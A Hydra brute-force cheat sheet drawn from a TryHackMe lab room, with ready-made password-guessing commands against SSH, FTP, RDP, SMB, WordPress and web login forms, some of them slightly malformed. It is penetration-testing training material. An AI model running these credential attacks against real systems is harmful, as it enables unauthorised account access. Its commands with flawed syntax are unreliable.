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Hydra User Guide

  • All credit goes to: DarkStar7471 for his THM room located here : https://tryhackme.com/room/hydra

  • Hydra is a brute force online password cracking tool, which can be used with a variety of protocols

  • Protocols that hydra can work with: Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

  • Official kali page:

  • https://en.kali.tools/?p=220

  • Download it (default on kali):

  • https://github.com/vanhauser-thc/thc-hydra

Hydra Syntax

  • The correct hydra syntax is depended upon the service you are going after. For example if we want to hit ftp we should use:

FTP

hydra -l user -P passlist.txt ftp://10.10.10.10

SSH

hydra -l <username> -P /usr/share/wordlists/rockyou.txt 10.10.10.10. -t 4 ssh
  • -l is to specify the username
  • P is to specify a password list
  • -t is to specify the number of threads to run hydra with.
  • Note: Hydra recommends no more than 4 threads, however you can run it faster with -t 16.

POST Web Form

  • Hydra can be used to brute force web logins as well.
  • Step 1: Determine the request made to the form (POST/GET)
  • Identify this in the network tab (developer tools), view the source code, or use Burp Suite.
  • Syntax:
hydra -l <username> -P /usr/share/wordlists/rockyou.txt 10.10.211.150 http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -vV
  • http-post-form specifies the type of form
  • /login url the login page URL i.e. http://dont-brute-force-me.com/login.php
  • :username the form field name for the username
  • ^USER^ this tells hydra to use the username you specified
  • password the form field name for the password
  • ^PASS^ the password list specified in the command
  • Login the failed login message
  • Login failed is the login failure message that the form specifies
  • F=inncorrect the word that appears on the page if the login fails
  • -vV specifies very verbose output
  • Hydra non default ssh port:
hydra -t 16 -l sam -P /usr/share/wordlists/rockyou.txt 10.10.80.187 ssh -s 4567 -vV

Example Syntax

#Hydra brute force against SNMP
hydra -P password-file.txt -v $ip snmp	
#Hydra FTP known user and rockyou password list
hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp	
#Hydra SSH using list of users and passwords
hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh	
#Hydra SSH using a known password and a username list
hydra -v -V -u -L users.txt -p "" -t 1 -u $ip ssh
#Hydra SSH Against Known username on port 22
hydra $ip -s 22 ssh -l -P big_wordlist.txt	
#Hydra POP3 Brute Force
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V	
#Hydra SMTP Brute Force
hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V	
#Hydra attack http get 401 login with a dictionary
hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin	
#Hydra attack Windows Remote Desktop with rockyou
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip	
#Hydra brute force SMB user with rockyou
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb	
#Hydra brute force a Wordpress admin
hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'	 login
#SMB Brute Forcing
hydra -L usernames.txt -P passwords.txt $ip smb -V -f	
#LDAP Brute Forcing
hydra -L users.txt -P passwords.txt $ip ldap2 -V -f

Additional Syntax Formats

sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=admin&password=^PASS^:Invalid Password!"
sudo hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.211.150 http-post-form "/login:username=molly&password=^PASS^:F=incorrect" -V
sudo hydra 10.0.0.1 http-post-form "/admin.php:target=auth&mode=login&user=^USER^&password=^PASS^:invalid" -P /usr/share/wordlists/rockyou.txt -l admin
hydra -l lazie -P /opt/rockyou.txt imap://10.10.251.142 -vV